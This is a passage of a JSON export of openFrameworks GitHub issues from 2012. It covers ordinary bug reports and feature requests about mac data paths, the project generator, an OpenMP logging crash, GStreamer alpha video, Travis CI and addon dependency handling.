vector < string > results;\r\n\t RegularExpression regEx(regex);\r\n\t RegularExpression::Match match;\r\n \r\n\t while(regEx.match(contents, match) != 0) {\r\n \r\n\t // we get the sub string from the content\r\n\t // and then trim the content so that we\r\n\t // can continue to search \r\n\t string foundStr = contents.substr(match.offset, match.length);\r\n\t contents = contents.substr(match.offset + match.length);\r\n \r\n\t results.push_back(foundStr);\r\n \r\n\t }\r\n\t return results;\r\n\t}"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1109","id":3799653,"number":1109,"title":"mac paths don't seem right until you call \"ofToDataPath()\"","user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-03-25T18:18:28Z","updated_at":"2012-03-25T18:50:13Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"code to recreate: \r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::keyPressed(int key){\r\n cout << ofToDataPath(\"temp\") << endl;\r\n}\r\n\r\nproduces: \r\n\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n../../../data/temp\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n\r\nthis is because the code that fixes OSX paths isn't called until you call ofToDataPath(). a good fix I think would be to set ofDataPathRoot (which happens in ofToDataPath) somewhere early in ofRunApp(). Or should it happen even earlier?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1103","id":3754055,"number":1103,"title":"PG feature request: Generate makefile-only projects","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":5,"created_at":"2012-03-21T21:43:34Z","updated_at":"2013-02-11T12:13:03Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"It would be great if the PG could also generate projects/examples for usage with Eclipse, i.e. just the makefile related files, no CB or other project files."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1099","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1099/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1099/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1099/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1099","id":3710691,"number":1099,"title":"issue with projectGenerator and XIB files.","user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":9,"created_at":"2012-03-19T14:27:25Z","updated_at":"2013-02-11T12:16:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"iPhoneGuiExample created by the projectGenerator seems to have an issue with XIB files.\r\nthe XIB is included in the project but can not be viewed inside the xcode project.\r\nin another instance, it was causing the app to crash.\r\n\r\nwhen removing the XIB and adding it back to the project manually, it start working again.\r\nwhich makes me believe its got something to do with the way projectGenerator is adding the XIB to the project.\r\n\r\nive compared the before and after (adding the XIB back manually) and here are the differences in the xcode projects.\r\nnote, the top line is the before and the bottom is the after.\r\n\r\n/* MyGuiView.xib */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = file.xib; name = MyGuiView.xib; path = gui/MyGuiView.xib; sourceTree = \"\"; };\r\n/* MyGuiView.xib */ = {isa = PBXFileReference; explicitFileType = file; fileEncoding = 30; name = MyGuiView.xib; path = src/gui/MyGuiView.xib; sourceTree = SOURCE_ROOT; };\r\n\r\n/* MyGuiView.xib in Resources */\r\n/* MyGuiView.xib in Sources */"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1098","id":3710293,"number":1098,"title":"feature / bug - #pragma omp critical(ofLog)","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/critical","name":"critical","color":"ff0000"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":11,"created_at":"2012-03-19T14:04:51Z","updated_at":"2013-02-11T12:13:03Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"whenever i call ofLog beneath openmp i have to wrap it in ```#pragma omp critical (ofLog)``` otherwise i get a crash\r\ni found adding the line above \r\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/utils/ofLog.cpp#L84\r\nworks pretty well\r\n\r\nany objections to having it in there?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1075","id":3662214,"number":1075,"title":"bug ofDirectory::open(string path) actually loads the entire dir into memory?","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"milestone":null,"comments":2,"created_at":"2012-03-15T07:54:55Z","updated_at":"2012-03-15T20:34:17Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I'm finding that `ofDirector::listDir, open` are extremely slow\r\nit seems that it's actually loading the entire dir contents into memory\r\n\r\nit's possible to then do something like\r\n```\r\nofLoadImage(myPixels, dir.getFile(i));\r\n```\r\nand you can quickly load that image from memory. which is faster than\r\n```\r\nofLoadImage(myPixels, dir.getFile(i).getAbsolutePath());\r\n```\r\n\r\nBut this doesn't seem to work consistently (even though the slow listing is consistent)\r\nand surely isn't what we want."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1070","id":3647640,"number":1070,"title":"Alpha movies in GStreamer","user":{"login":"emmanuelgeoffray","id":808090,"avatar_url":"https://secure.gravatar.com/avatar/c1ec5161b69b4a990436deafb1170d64?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"c1ec5161b69b4a990436deafb1170d64","url":"https://api.github.com/users/emmanuelgeoffray","html_url":"https://github.com/emmanuelgeoffray","followers_url":"https://api.github.com/users/emmanuelgeoffray/followers","following_url":"https://api.github.com/users/emmanuelgeoffray/following","gists_url":"https://api.github.com/users/emmanuelgeoffray/gists{/gist_id}","starred_url":"https://api.github.com/users/emmanuelgeoffray/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/emmanuelgeoffray/subscriptions","organizations_url":"https://api.github.com/users/emmanuelgeoffray/orgs","repos_url":"https://api.github.com/users/emmanuelgeoffray/repos","events_url":"https://api.github.com/users/emmanuelgeoffray/events{/privacy}","received_events_url":"https://api.github.com/users/emmanuelgeoffray/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":9,"created_at":"2012-03-14T13:02:41Z","updated_at":"2013-01-15T11:28:36Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hello,\r\nI needed alpha channel in short length video for a recent project.\r\nIn the forum there is some old zip file for a ofxAlphaVideoPlayer that is still working, but that's OS X & windows only as it's based on QT.\r\nI'm working on linux, and I didn't find anything for GStreamer, so I modified the existing ofGstUtils and ofGstVideoPlayer.\r\nWould you mind if I do a pull request for this?\r\nI can also provide an example with a short length video using animation codec.\r\nWhat do you think?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1068","id":3631618,"number":1068,"title":"Continuous integration/testing","user":{"login":"gabrielstuff","id":285033,"avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","url":"https://api.github.com/users/gabrielstuff","html_url":"https://github.com/gabrielstuff","followers_url":"https://api.github.com/users/gabrielstuff/followers","following_url":"https://api.github.com/users/gabrielstuff/following","gists_url":"https://api.github.com/users/gabrielstuff/gists{/gist_id}","starred_url":"https://api.github.com/users/gabrielstuff/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gabrielstuff/subscriptions","organizations_url":"https://api.github.com/users/gabrielstuff/orgs","repos_url":"https://api.github.com/users/gabrielstuff/repos","events_url":"https://api.github.com/users/gabrielstuff/events{/privacy}","received_events_url":"https://api.github.com/users/gabrielstuff/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/automation","name":"automation","color":"5d5d5d"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":null,"comments":27,"created_at":"2012-03-13T15:49:23Z","updated_at":"2013-02-15T15:07:44Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hey !\r\n\r\nMe again. Didn't find anywhere this infos. I'm currently testing the travis-ci.org service.\r\nAs many people are working on the project and as many many issue are raised, and fixed, I thought it could be great to add some test and thus the travis service.\r\n\r\nIt would avoid the problem met here :\r\nhttps://github.com/openframeworks/openFrameworks/commit/7ca7833ea1afb6bd5a6c54031e3fa688aa0c0ba8\r\nand the discussion here :\r\nhttps://github.com/openframeworks/openFrameworks/issues/804\r\nor there :\r\nhttps://github.com/openframeworks/openFrameworks/pull/921\r\n\r\nI read that :\r\n\r\n>feel free to make a unitTests folder at the root level of OF -\r\n> that is where all unitTests will go.\r\n\r\nBut didn't find them.\r\n\r\nThe travis service will permit to get the little badge we know well : \r\n[![Build Status](https://secure.travis-ci.org/soixantecircuits/openFrameworks.png?branch=master)](http://travis-ci.org/soixantecircuits/openFrameworks)\r\n\r\nAlso, why not adding some spec test, to ensure future development of features.\r\nI'm currently reading :\r\nhttp://www.squidoo.com/cplusplus-behaviour-driven-development-tools#module124841511\r\nhttp://sourceforge.net/apps/mediawiki/turtle/index.php?title=Turtle\r\n\r\nFor those who want some other nice reading :\r\n\r\nhttp://gamesfromwithin.com/exploring-the-c-unit-testing-framework-jungle\r\n\r\nThe travis test is here, currently it is a total fake, but I just proposed the idea of a test driven development\r\nhttp://travis-ci.org/#!/soixantecircuits/openFrameworks/builds/854259 "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1063","id":3627067,"number":1063,"title":"Automatic installer + dependencies handler","user":{"login":"gabrielstuff","id":285033,"avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","url":"https://api.github.com/users/gabrielstuff","html_url":"https://github.com/gabrielstuff","followers_url":"https://api.github.com/users/gabrielstuff/followers","following_url":"https://api.github.com/users/gabrielstuff/following","gists_url":"https://api.github.com/users/gabrielstuff/gists{/gist_id}","starred_url":"https://api.github.com/users/gabrielstuff/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gabrielstuff/subscriptions","organizations_url":"https://api.github.com/users/gabrielstuff/orgs","repos_url":"https://api.github.com/users/gabrielstuff/repos","events_url":"https://api.github.com/users/gabrielstuff/events{/privacy}","received_events_url":"https://api.github.com/users/gabrielstuff/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/automation","name":"automation","color":"5d5d5d"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":8,"created_at":"2012-03-13T10:44:57Z","updated_at":"2013-02-11T12:13:03Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hi !\r\n\r\nRecently, I've been in lot of languages, from C++ to ruby, passing by the colosus of javascript and the sea of php. Dropping by various and strange framework such as the Cinder, the jQuery, the Rails, the Processing, etc ...\r\n\r\n## the situation \r\n\r\nWhat I have noticed is that a strong architecture and a really ease use of add-ons makes a framework get stronger. For instance, if we take a look at Ruby, we see that the use of gems give him a powerfull advance over his friend php. \r\n\r\n### the Rubyist\r\n\r\nThis way of thinking is getting even better with the http://gembundler.com/ [Bundler](http://gembundler.com/) friend. The gems have dependencies and a simple GemFile help to easily install all dependencies for one project.\r\n\r\n### the Cinderist\r\n\r\nFor Cinder, we get the block, as for OSX, it quiet easy and fast. Drag and drop and play/code.\r\n\r\n### the jQueryist\r\n\r\nWell, it is not frequent to have jQuery plugins depending on other jQuery plugins, but there are several way to handle dependencies on jQuery and JS.\r\n\r\n### the nodist\r\n\r\nThis lead us to http://npmjs.org/, which is really nice with dependencies.\r\nFor instance, if you tried cloud9ide, you know that you just have to make sure you get the proper package.json :\r\n\r\n```\r\n{\r\n \"name\": \"node-example\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": {\r\n \"express\": \"2.2.0\"\r\n }\r\n}\r\n```\r\n\r\nThis file ensure that everything before running the server will be installed via npm.\r\n\r\n### the ofist\r\n\r\nRight now, we just have the addons.make file, which is nice but does not do any lifting for us. We have to verify that the ofx addons has been downloaded and is installed in the right folder.\r\n\r\n- 